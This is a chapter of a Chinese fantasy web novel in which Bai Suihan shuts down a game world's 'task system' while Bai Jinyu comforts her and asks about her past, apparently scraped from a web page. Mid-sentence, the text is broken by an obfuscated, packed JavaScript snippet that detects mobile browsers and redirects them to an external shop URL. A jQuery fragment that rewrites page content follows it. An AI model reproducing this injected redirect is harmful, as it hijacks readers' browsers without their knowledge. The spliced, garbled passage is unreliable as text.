34. 深夜(十)
作品:《npc未婚夫又拒绝我了》 这个时候的提示。
柏岁寒的法力一滞,全都堵在了胸口。她再也无力和任务系统对抗。
她跌靠在池壁,眼前泛白。
手环电过她一次。
白淙月为她戴上这个手环的时候,她一言不发,被他发现了有别的心思。
他就警告地让她尝了尝这个的滋味。
竟然在这个时候尝到了第二次。
她眼皮慢慢耷拉下去,浑身的疲累拉着她开始下坠、下坠至池水之中。
“柏岁寒??”青皮的叫声响起。
“扑通!”她的耳朵也好疼。
“柏岁寒。柏岁寒。醒醒。”冰凉的手拍在她双颊,她却恍惚了。
这是白瑾玉的声音。
左手被扯出水面,这双冰凉的手在扯她的手环。
她很缓很缓地睁开眼。
白瑾玉眉眼焦急,低着头,脸色发白。
她微微张口,想问他怎么在这。
他还在扒拉她的手环,眉头紧蹙,手攥着手环紧紧绷着,面容因用力有些难看。
她轻轻抽回左手。
白瑾玉抬眼向她看来——
“你怎么……”
她双手环上他的脖颈。
他身躯一僵。
她瘫倒在他身上。白瑾玉环住她的腰,一手放在了她脑后,将她抓稳了。
她的脸完全埋进他的胸前。
低低地哭了起来。
——白淙月一定很开心见到我。
——他为什么跑了?
——他不管我。
——他回来找我了。
——他觉得是我是假的。
——他一点也不相信我。
简单的想法,无论是白淙月的,还是她的,都很难忘记。
白瑾玉的轻抚一下一下落在她的后脑,他柔声在她耳边道:“手环我会帮你摘下来,相信我。任务系统我也会帮你关闭。不哭了,不哭了。”
他的手在颤抖。颤抖到她很明显地感受到了。他一句一句说着“不哭了”,也好像魔怔了。
他的话里带着一丝不易察觉的恳求,让她的低泣一停。
她收回还在白瑾玉脖颈上的手,抹了抹眼,想要后退,白瑾玉手臂紧紧地箍着她。
和白淙月的往事在脑中淡去,心口窒闷感仍在,她对上白瑾玉空洞的双眼,手到身后拉他的手臂:“白瑾玉。我没事了。别害怕。”
她尽量平稳语气:“关闭任务系统还差最后一步,我现在清醒了,我能做完这最后一步,你先从池子里上去,在上面等我就好。好了之后我就和你回门派了。”
“你明明不开心。”白瑾玉抓住了她的手,捏在她掌心:“我小叔对你很过分,让你再也不敢想出去的事了,对吗?”
柏岁寒垂着头,沉默了一会儿:“你上去吧,这些事不重要。”
“重要。重要。”白瑾玉语气急促,甚至带着隐藏不住的恐慌。
柏岁寒抬头看他:“你……”
他突然将她整个人抱进了怀里。按着她后脑的手颤抖得厉害,他在她耳边说:“我……很难受,你不要这样。不要说不重要。不要……不要就这么走了。”
他紊乱的气息烫得她脸侧、肩头承受不住,眼眶酸酸涩涩的。她用力想要推开他:“白瑾玉。我没有要走,你先放手。我身上很痛。”
白瑾玉动作有些迟疑地松开她。他恍惚间冷静了些,低着头往后退了一步:“抱歉。”
“白瑾玉,上来。你再待下去和柏岁寒一起抱着哭,她就得神魂俱灭了。”青皮是在场最冷静的人,“你心很痛也等她关闭任务系统之后,再和她算账。”
柏岁寒闭上眼,双手重新结印。
水声涟涟,是白瑾玉从池子里上去了。
无尽的痛意深入骨髓,她差点从口中喷出一口血打断法术的施展。最后一点点。
她一身的法力全部汇聚在她的掌心,她睁开眼,蓝紫光芒印亮了整片池水。身上所有的痛意一消。
她法力一收,整个人往池水里一沉。任务系统成功关闭。
·
半夜,柏岁寒从梦里惊醒。
她缓过劲来,就见白瑾玉正单手撑着脑袋,低垂眼帘盯着她。
“你没事了?”她先开口问道。
白瑾玉坐直身体,从怀里摸出一块帕子给她擦擦脑门上的冷汗:“我没事啊。”
他语调轻松,好像刚才目光沉沉地盯着她的人不是他。
“你怎么去青皮派了?”她等他收起手帕,问道。
白瑾玉弯了下唇:“不算我说话不算话。春煦在任务池原来的地方等了你一天,都没有发现法阵有任何动静,他怀疑你出事了,带着门派的大家就打进了青皮派。我找到你的时候,他也在门外。”
“我最后……”
她话问出来,白瑾玉也知道她问的事:“你沉到池子里转移任务池,我们发现你的用意后,春煦配合你、我拦着青皮,任务池现在已经从青皮派转移回原来的位置了。”
她又问:“清逸师姐醒了吗?我下午和任务系统抗争的时候,看着青皮把关着师姐的法阵撤了。”
“醒了。刚才她还想来看你,只不过伤得重,也走不动。”
房间里安静下来。
她能问的都问完了,白瑾玉也没有再说话。
她闭上眼,想要不继续睡觉,白瑾玉戳了戳她包着布的手臂:“你现在整个人包得像个粽子。身上还痛不痛?”
她睁开眼:“你不开心?我这不是好好的回来了吗?不用太害怕。”
“受了一身伤,不能是‘好好的’吧?”白瑾玉道,“我问了春煦,你离开游戏世界的时候,才八岁,你也是受了这么一身伤才离开的?你跳进的那个游戏通道,里面有虚空打你吗?”
他一直在戳她身上包着的布,柏岁寒感觉有点好笑:“没有,我直接就到外面的世界了。所以青皮才这么不满,他怎么都出不去,比起他,我这么轻松就能出去。”
“我记得你十三岁才被我小叔带回门派。中间的几年,你在哪里?”
“你知道我是被白淙月带回去的?”
白瑾玉坦然自若:“我问过家里,当时知道和你订婚的事,我总要知道你是谁。”
柏岁寒沉思了一会儿:“你小叔见到我,害怕地跑到别的星球去了。那五年我就自己独自在外生活。后来他回来找我,除了对我比较警惕,其实也还好。”
白瑾玉盯着她没说话。
好半天,他问她:“岁寒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541988|202416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,如果我也留在游戏世界里,你能接受我吗?”
“……什么?”柏岁寒没想到会听到这个问题。
他追根究底问她那五年怎么过的、白淙月具体对她做了什么,她都在心里想怎么回答比较好。
他问的问题怎么是……
怎么会问这个呢。
“你不是说毕业后还想去别的星球看看吗?而且游戏世界与外面的差别挺大的,你很难适应吧。”她说,“你的短头发不想要了吗?这里面各种法术,多危险……”
白瑾玉突然俯下身,将头靠在了她肩窝处。
他嗓音闷闷的:“我不知道……我心里难受。我不能离开你,所以你也不能抛下我。”
“白瑾玉,你知道自己在说什么吗?”脸颊被他的头抵着,柏岁寒道:“别把脸闷在我的枕头里了,起来吧。现在还是半夜,你回去休息吧。”
是因为她是创作白瑾玉的人,所以让他有这样的感受吗?
真是……
她侧过身,面向床里侧:“难受会好的。你相信我。不要相信你的感觉。”
看来她还要想办法切断她们之间说不清道不明的联系。
·
白瑾玉从柏岁寒的屋子里出来,没有回自己的住处,而是御剑来到了翠林派山下的青翠丛林里。
他落在之前和柏岁寒暂时住的木屋。
门口的桌子椅子都还在,他在其中一把椅子上坐下。
天上有很多亮闪闪的星星,他轻敲两下右耳的耳钉,在大半夜给陆知周发去通话。
半小时后。
坐在他对面的陆知周喝了口水:“虽然我早就觉得柏岁寒的身份不一般,但她是游戏里的npc这件事,我一时半会也接受不了。你怎么接受得这么快,这些天还适应得这么好。”
白瑾玉笑了下:“可能我真的忘记了什么事。不然我怎么今天心里就是这么难受?”
陆知周放下杯子:“如果曾经有过不好的结果,那这一次希望你们能有好结果。你最近这些天探索游戏世界,对这个世界也有多的了解了吧?总会知道柏岁寒想做什么、你能怎么帮她的。
“需要我帮忙随时叫我。学校放寒假了,我最近闲。”
·
“陆知音?”五天后,柏岁寒坐在轮椅上和厨房里的陆知音面面相觑。
“哇。岁寒姐你这是受了好严重的伤啊。”这个在校门口问她是不是白瑾玉未婚妻的人,手里揉着汤圆,虚情假意地关心她:“还好吗?”
不等她说话,陆知周把他抓走了。陆知周对她笑笑:“瑾玉说游戏里今天有制作汤圆的比赛,我和我弟闲着没事,来玩玩。”
柏岁寒转头看了眼推着她的清逸。清逸微笑着开口:“游戏里是有这么个活动。那你们传了个纸条让岁寒来厨房是?”
陆知周:“你们不是伤好些了吗?我想夺得第一,请你们来帮我一起做汤圆。得了奖励,分你们一半。游戏里的奖励,无论是钱还是法器,还是你们拿到最有用。”
“谁给我传的纸条?厨房有人在等我?”春煦捏着纸条,从路的转角出现。
柏岁寒和他对视一眼,他立刻了然准备跑。迎面却撞上了凌云。
陆知周:“二位兄弟,来都来了,别走了吧?”

